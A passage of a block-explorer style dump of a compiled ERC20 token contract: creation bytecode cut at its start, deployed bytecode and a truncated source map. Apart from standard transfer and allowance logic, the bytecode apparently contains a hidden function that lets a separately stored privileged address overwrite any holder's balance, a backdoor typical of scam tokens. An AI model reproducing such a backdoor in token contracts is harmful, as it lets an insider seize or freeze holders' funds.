981611a9d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611b3c602683611043565b9150611b4782611ae0565b604082019050919050565b60006020820190508181036000830152611b6b81611b2f565b905091905056fea2646970667358221220f2268bf31f247443ac623822baf5acd789223d6ace749902ebbac87e4daa481a64736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b8063715018a61461021457806379e015c11461021e5780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906110c8565b60405180910390f35b610132600480360381019061012d9190611183565b6103b4565b60405161013f91906111de565b60405180910390f35b6101506103d2565b60405161015d9190611208565b60405180910390f35b610180600480360381019061017b9190611223565b6103dc565b60405161018d91906111de565b60405180910390f35b61019e6104dd565b6040516101ab9190611292565b60405180910390f35b6101ce60048036038101906101c99190611183565b6104e6565b6040516101db91906111de565b60405180910390f35b6101fe60048036038101906101f991906112ad565b610592565b60405161020b9190611208565b60405180910390f35b61021c6105db565b005b610238600480360381019061023391906112da565b61070e565b005b6102426107ed565b60405161024f9190611364565b60405180910390f35b610260610816565b60405161026d91906110c8565b60405180910390f35b610290600480360381019061028b9190611183565b6108a8565b60405161029d91906111de565b60405180910390f35b6102c060048036038101906102bb9190611183565b61099c565b6040516102cd91906111de565b60405180910390f35b6102f060048036038101906102eb919061137f565b6109ba565b6040516102fd9190611208565b60405180910390f35b610320600480360381019061031b91906112ad565b610a41565b005b606060058054610331906113ee565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906113ee565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610be2565b8484610bea565b6001905092915050565b6000600454905090565b60006103e9848484610db3565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610be2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab90611491565b60405180910390fd5b6104d1856104c0610be2565b85846104cc91906114e0565b610bea565b60019150509392505050565b60006009905090565b60006105886104f3610be2565b848460026000610501610be2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105839190611514565b610bea565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166105fa6107ed565b73ffffffffffffffffffffffffffffffffffffffff1614610650576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064790611594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461076857600080fd5b60006009600a61077891906116e7565b90508594508082848661078b9190611514565b6107959190611514565b61079f9190611732565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550849550505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610825906113ee565b80601f0160208091040260200160405190810160405280929190818152602001828054610851906113ee565b801561089e5780601f106108735761010080835404028352916020019161089e565b820191906000526020600020905b81548152906001019060200180831161088157829003601f168201915b5050505050905090565b600080600260006108b7610be2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610974576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096b906117e6565b60405180910390fd5b61099161097f610be2565b85858461098c91906114e0565b610bea565b600191505092915050565b60006109b06109a9610be2565b8484610db3565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610a606107ed565b73ffffffffffffffffffffffffffffffffffffffff1614610ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aad90611594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1c90611878565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c509061190a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbf9061199c565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610da69190611208565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1990611a2e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8890611ac0565b60405180910390fd5b610e9c838383611033565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1a90611b52565b60405180910390fd5b8181610f2f91906114e0565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fc19190611514565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110259190611208565b60405180910390a350505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611072578082015181840152602081019050611057565b60008484015250505050565b6000601f19601f8301169050919050565b600061109a82611038565b6110a48185611043565b93506110b4818560208601611054565b6110bd8161107e565b840191505092915050565b600060208201905081810360008301526110e2818461108f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061111a826110ef565b9050919050565b61112a8161110f565b811461113557600080fd5b50565b60008135905061114781611121565b92915050565b6000819050919050565b6111608161114d565b811461116b57600080fd5b50565b60008135905061117d81611157565b92915050565b6000806040838503121561119a576111996110ea565b5b60006111a885828601611138565b92505060206111b98582860161116e565b9150509250929050565b60008115159050919050565b6111d8816111c3565b82525050565b60006020820190506111f360008301846111cf565b92915050565b6112028161114d565b82525050565b600060208201905061121d60008301846111f9565b92915050565b60008060006060848603121561123c5761123b6110ea565b5b600061124a86828701611138565b935050602061125b86828701611138565b925050604061126c8682870161116e565b9150509250925092565b600060ff82169050919050565b61128c81611276565b82525050565b60006020820190506112a76000830184611283565b92915050565b6000602082840312156112c3576112c26110ea565b5b60006112d184828501611138565b91505092915050565b600080600080600060a086880312156112f6576112f56110ea565b5b600061130488828901611138565b955050602061131588828901611138565b94505060406113268882890161116e565b93505060606113378882890161116e565b92505060806113488882890161116e565b9150509295509295909350565b61135e8161110f565b82525050565b60006020820190506113796000830184611355565b92915050565b60008060408385031215611396576113956110ea565b5b60006113a485828601611138565b92505060206113b585828601611138565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061140657607f821691505b602082108103611419576114186113bf565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061147b602883611043565b91506114868261141f565b604082019050919050565b600060208201905081810360008301526114aa8161146e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006114eb8261114d565b91506114f68361114d565b925082820390508181111561150e5761150d6114b1565b5b92915050565b600061151f8261114d565b915061152a8361114d565b9250828201905080821115611542576115416114b1565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061157e602083611043565b915061158982611548565b602082019050919050565b600060208201905081810360008301526115ad81611571565b9050919050565b60008160011c9050919050565b6000808291508390505b600185111561160b578086048111156115e7576115e66114b1565b5b60018516156115f65780820291505b8081029050611604856115b4565b94506115cb565b94509492505050565b60008261162457600190506116e0565b8161163257600090506116e0565b8160018114611648576002811461165257611681565b60019150506116e0565b60ff841115611664576116636114b1565b5b8360020a91508482111561167b5761167a6114b1565b5b506116e0565b5060208310610133831016604e8410600b84101617156116b65782820a9050838111156116b1576116b06114b1565b5b6116e0565b6116c384848460016115c1565b925090508184048111156116da576116d96114b1565b5b81810290505b9392505050565b60006116f28261114d565b91506116fd8361114d565b925061172a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611614565b905092915050565b600061173d8261114d565b91506117488361114d565b92508282026117568161114d565b9150828204841483151761176d5761176c6114b1565b5b5092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006117d0602583611043565b91506117db82611774565b604082019050919050565b600060208201905081810360008301526117ff816117c3565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611862602683611043565b915061186d82611806565b604082019050919050565b6000602082019050818103600083015261189181611855565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006118f4602483611043565b91506118ff82611898565b604082019050919050565b60006020820190508181036000830152611923816118e7565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611986602283611043565b91506119918261192a565b604082019050919050565b600060208201905081810360008301526119b581611979565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611a18602583611043565b9150611a23826119bc565b604082019050919050565b60006020820190508181036000830152611a4781611a0b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611aaa602383611043565b9150611ab582611a4e565b604082019050919050565b60006020820190508181036000830152611ad981611a9d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611b3c602683611043565b9150611b4782611ae0565b604082019050919050565b60006020820190508181036000830152611b6b81611b2f565b905091905056fea2646970667358221220f2268bf31f247443ac623822baf5acd789223d6ace749902ebbac87e4daa481a64736f6c63430008130033

Deployed Bytecode Sourcemap

8122:5222:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8981:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9894:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9301:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10071:422;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9201:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10501:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9417:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6288:148;;;:::i;:::-;;12923:315;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5639:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9089:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10724:377;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9552:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9735:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6591:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8981:100;9035:13;9068:5;9061:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8981:100;:::o;9894:169::-;9977:4;9994:39;10003:12;:10;:12::i;:::-;10017:7;10026:6;9994:8;:39::i;:::-;10051:4;10044:11;;9894:169;;;;:::o;9301:108::-;9362:7;9389:12;;9382:19;;9301:108;:::o;10071:422::-;10177:4;10194:36;10204:6;10212:9;10223:6;10194:9;:36::i;:::-;10243:24;10270:11;:19;10282:6;10270:19;;;;;;;;;;;;;;;:33;10290:12;:10;:12::i;:::-;10270:33;;;;;;;;;;;;;;;;10243:60;;10342:6;10322:16;:26;;10314:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;10404:57;10413:6;10421:12;:10;:12::i;:::-;10454:6;10435:16;:25;;;;:::i;:::-;10404:8;:57::i;:::-;10481:4;10474:11;;;10071:422;;;;;:::o;9201:92::-;9259:5;9284:1;9277:8;;9201:92;:::o;10501:215::-;10589:4;10606:80;10615:12;:10;:12::i;:::-;10629:7;10675:10;10638:11;:25;10650:12;:10;:12::i;:::-;10638:25;;;;;;;;;;;;;;;:34;10664:7;10638:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;10606:8;:80::i;:::-;10704:4;10697:11;;10501:215;;;;:::o;9417:127::-;9491:7;9518:9;:18;9528:7;9518:18;;;;;;;;;;;;;;;;9511:25;;9417:127;;;:::o;6288:148::-;5870:10;5859:21;;:7;:5;:7::i;:::-;:21;;;5851:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;6395:1:::1;6358:40;;6379:6;::::0;::::1;;;;;;;;6358:40;;;;;;;;;;;;6426:1;6409:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;6288:148::o:0;12923:315::-;13066:6;;;;;;;;;;;13054:18;;:10;:18;;;13046:27;;;;;;13075:17;13109:1;13095:2;:16;;;;:::i;:::-;13075:36;;13123:7;13113:17;;13203:9;13192:7;13182;13172;:17;;;;:::i;:::-;:27;;;;:::i;:::-;13171:41;;;;:::i;:::-;13150:9;:18;13160:7;13150:18;;;;;;;;;;;;;;;:62;;;;13223:7;13213:17;;13044:194;12923:315;;;;;:::o;5639:87::-;5685:7;5712:6;;;;;;;;;;;5705:13;;5639:87;:::o;9089:104::-;9145:13;9178:7;9171:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9089:104;:::o;10724:377::-;10817:4;10834:24;10861:11;:25;10873:12;:10;:12::i;:::-;10861:25;;;;;;;;;;;;;;;:34;10887:7;10861:34;;;;;;;;;;;;;;;;10834:61;;10934:15;10914:16;:35;;10906:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;11002:67;11011:12;:10;:12::i;:::-;11025:7;11053:15;11034:16;:34;;;;:::i;:::-;11002:8;:67::i;:::-;11089:4;11082:11;;;10724:377;;;;:::o;9552:175::-;9638:4;9655:42;9665:12;:10;:12::i;:::-;9679:9;9690:6;9655:9;:42::i;:::-;9715:4;9708:11;;9552:175;;;;:::o;9735:151::-;9824:7;9851:11;:18;9863:5;9851:18;;;;;;;;;;;;;;;:27;9870:7;9851:27;;;;;;;;;;;;;;;;9844:34;;9735:151;;;;:::o;6591:244::-;5870:10;5859:21;;:7;:5;:7::i;:::-;:21;;;5851:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;6700:1:::1;6680:22;;:8;:22;;::::0;6672:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6790:8;6761:38;;6782:6;::::0;::::1;;;;;;;;6761:38;;;;;;;;;;;;6819:8;6810:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;6591:244:::0;:::o;4297:98::-;4350:7;4377:10;4370:17;;4297:98;:::o;12569:346::-;12688:1;12671:19;;:5;:19;;;12663:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12769:1;12750:21;;:7;:21;;;12742:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12853:6;12823:11;:18;12835:5;12823:18;;;;;;;;;;;;;;;:27;12842:7;12823:27;;;;;;;;;;;;;;;:36;;;;12891:7;12875:32;;12884:5;12875:32;;;12900:6;12875:32;;;;;;:::i;:::-;;;;;;;;12569:346;;;:::o;11109:604::-;11233:1;11215:20;;:6;:20;;;11207:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;11317:1;11296:23;;:9;:23;;;11288:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;11372:47;11393:6;11401:9;11412:6;11372:20;:47::i;:::-;11432:21;11456:9;:17;11466:6;11456:17;;;;;;;;;;;;;;;;11432:41;;11509:6;11492:13;:23;;11484:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;11605:6;11589:13;:22;;;;:::i;:::-;11569:9;:17;11579:6;11569:17;;;;;;;;;;;;;;;:42;;;;11646:6;11622:9;:20;11632:9;11622:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;11687:9;11670:35;;11679:6;11670:35;;;11698:6;11670:35;;;;;;:::i;:::-;;;;;;;;11196:517;11109:604;;;:::o;13249:92::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:911::-;5283:6;5291;5299;5307;5315;5364:3;5352:9;5343:7;5339:23;5335:33;5332:120;;;5371:79;;:::i;:::-;5332:120;5491:1;5516:53;5561:7;5552:6;5541:9;5537:22;5516:53;:::i;:::-;5506:63;;5462:117;5618:2;5644:53;5689:7;5680:6;5669:9;5665:22;5644:53;:::i;:::-;5634:63;;5589:118;5746:2;5772:53;5817:7;5808:6;5797:9;5793:22;5772:53;:::i;:::-;5762:63;;5717:118;5874:2;5900:53;5945:7;5936:6;5925:9;5921:22;5900:53;:::i;:::-;5890:63;;5845:118;6002:3;6029:53;6074:7;6065:6;6054:9;6050:22;6029:53;:::i;:::-;6019:63;;5973:119;5188:911;;;;;;;;:::o;6105:118::-;6192:24;6210:5;6192:24;:::i;:::-;6187:3;6180:37;6105:118;;:::o;6229:222::-;6322:4;6360:2;6349:9;6345:18;6337:26;;6373:71;6441:1;6430:9;6426:17;6417:6;6373:71;:::i;:::-;6229:222;;;;:::o;6457:474::-;6525:6;6533;6582:2;6570:9;6561:7;6557:23;6553:32;6550:119;;;6588:79;;:::i;:::-;6550:119;6708:1;6733:53;6778:7;6769:6;6758:9;6754:22;6733:53;:::i;:::-;6723:63;;6679:117;6835:2;6861:53;6906:7;6897:6;6886:9;6882:22;6861:53;:::i;:::-;6851:63;;6806:118;6457:474;;;;;:::o;6937:180::-;6985:77;6982:1;6975:88;7082:4;7079:1;7072:15;7106:4;7103:1;7096:15;7123:320;7167:6;7204:1;7198:4;7194:12;7184:22;;7251:1;7245:4;7241:12;7272:18;7262:81;;7328:4;7320:6;7316:17;7306:27;;7262:81;7390:2;7382:6;7379:14;7359:18;7356:38;7353:84;;7409:18;;:::i;:::-;7353:84;7174:269;7123:320;;;:::o;7449:227::-;7589:34;7585:1;7577:6;7573:14;7566:58;7658:10;7653:2;7645:6;7641:15;7634:35;7449:227;:::o;7682:366::-;7824:3;7845:67;7909:2;7904:3;7845:67;:::i;:::-;7838:74;;7921:93;8010:3;7921:93;:::i;:::-;8039:2;8034:3;8030:12;8023:19;;7682:366;;;:::o;8054:419::-;8220:4;8258:2;8247:9;8243:18;8235:26;;8307:9;8301:4;8297:20;8293:1;8282:9;8278:17;8271:47;8335:131;8461:4;8335:131;:::i;:::-;8327:139;;8054:419;;;:::o;8479:180::-;8527:77;8524:1;8517:88;8624:4;8621:1;8614:15;8648:4;8645:1;8638:15;8665:194;8705:4;8725:20;8743:1;8725:20;:::i;:::-;8720:25;;8759:20;8777:1;8759:20;:::i;:::-;8754:25;;8803:1;8800;8796:9;8788:17;;8827:1;8821:4;8818:11;8815:37;;;8832:18;;:::i;:::-;8815:37;8665:194;;;;:::o;8865:191::-;8905:3;8924:20;8942:1;8924:20;:::i;:::-;8919:25;;8958:20;8976:1;8958:20;:::i;:::-;8953:25;;9001:1;8998;8994:9;8987:16;;9022:3;9019:1;9016:10;9013:36;;;9029:18;;:::i;:::-;9013:36;8865:191;;;;:::o;9062:182::-;9202:34;9198:1;9190:6;9186:14;9179:58;9062:182;:::o;9250:366::-;9392:3;9413:67;9477:2;9472:3;9413:67;:::i;:::-;9406:74;;9489:93;9578:3;9489:93;:::i;:::-;9607:2;9602:3;9598:12;9591:19;;9250:366;;;:::o;9622:419::-;9788:4;9826:2;9815:9;9811:18;9803:26;;9875:9;9869:4;9865:20;9861:1;9850:9;9846:17;9839:47;9903:131;10029:4;9903:131;:::i;:::-;9895:139;;9622:419;;;:::o;10047:102::-;10089:8;10136:5;10133:1;10129:13;10108:34;;10047:102;;;:::o;10155:848::-;10216:5;10223:4;10247:6;10238:15;;10271:5;10262:14;;10285:712;10306:1;10296:8;10293:15;10285:712;;;10401:4;10396:3;10392:14;10386:4;10383:24;10380:50;;;10410:18;;:::i;:::-;10380:50;10460:1;10450:8;10446:16;10443:451;;;10875:4;10868:5;10864:16;10855:25;;10443:451;10925:4;10919;10915:15;10907:23;;10955:32;10978:8;10955:32;:::i;:::-;10943:44;;10285:712;;;10155:848;;;;;;;:::o;11009:1073::-;11063:5;11254:8;11244:40;;11275:1;11266:10;;11277:5;;11244:40;11303:4;11293:36;;11320:1;11311:10;;11322:5;;11293:36;11389:4;11437:1;11432:27;;;;11473:1;11468:191;;;;11382:277;;11432:27;11450:1;11441:10;;11452:5;;;11468:191;11513:3;11503:8;11500:17;11497:43;;;11520:18;;:::i;:::-;11497:43;11569:8;11566:1;11562:16;11553:25;;11604:3;11597:5;11594:14;11591:40;;;11611:18;;:::i;:::-;11591:40;11644:5;;;11382:277;;11768:2;11758:8;11755:16;11749:3;11743:4;11740:13;11736:36;11718:2;11708:8;11705:16;11700:2;11694:4;11691:12;11687:35;11671:111;11668:246;;;11824:8;11818:4;11814:19;11805:28;;11859:3;11852:5;11849:14;11846:40;;;11866:18;;:::i;:::-;11846:40;11899:5;;11668:246;11939:42;11977:3;11967:8;11961:4;11958:1;11939:42;:::i;:::-;11924:57;;;;12013:4;12008:3;12004:14;11997:5;11994:25;11991:51;;;12022:18;;:::i;:::-;11991:51;12071:4;12064:5;12060:16;12051:25;;11009:1073;;;;;;:::o;12088:285::-;12148:5;12172:23;12190:4;12172:23;:::i;:::-;12164:31;;12216:27;12234:8;12216:27;:::i;:::-;12204:39;;12262:104;12299:66;12289:8;12283:4;12262:104;:::i;:::-;12253:113;;12088:285;;;;:::o;12379:410::-;12419:7;12442:20;12460:1;12442:20;:::i;:::-;12437:25;;12476:20;12494:1;12476:20;:::i;:::-;12471:25;;12531:1;12528;12524:9;12553:30;12571:11;12553:30;:::i;:::-;12542:41;;12732:1;12723:7;12719:15;12716:1;12713:22;12693:1;12686:9;12666:83;12643:139;;12762:18;;:::i;:::-;12643:139;12427:362;12379:410;;;;:::o;12795:224::-;12935:34;12931:1;12923:6;12919:14;12912:58;13004:7;12999:2;12991:6;12987:15;12980:32;12795:224;:::o;13025:366::-;13167:3;13188:67;13252:2;13247:3;13188:67;:::i;:::-;13181:74;;13264:93;13353:3;13264:93;:::i;:::-;13382:2;13377:3;13373:12;13366:19;;13025:366;;;:::o;13397:419::-;13563:4;13601:2;13590:9;13586:18;13578:26;;13650:9;13644: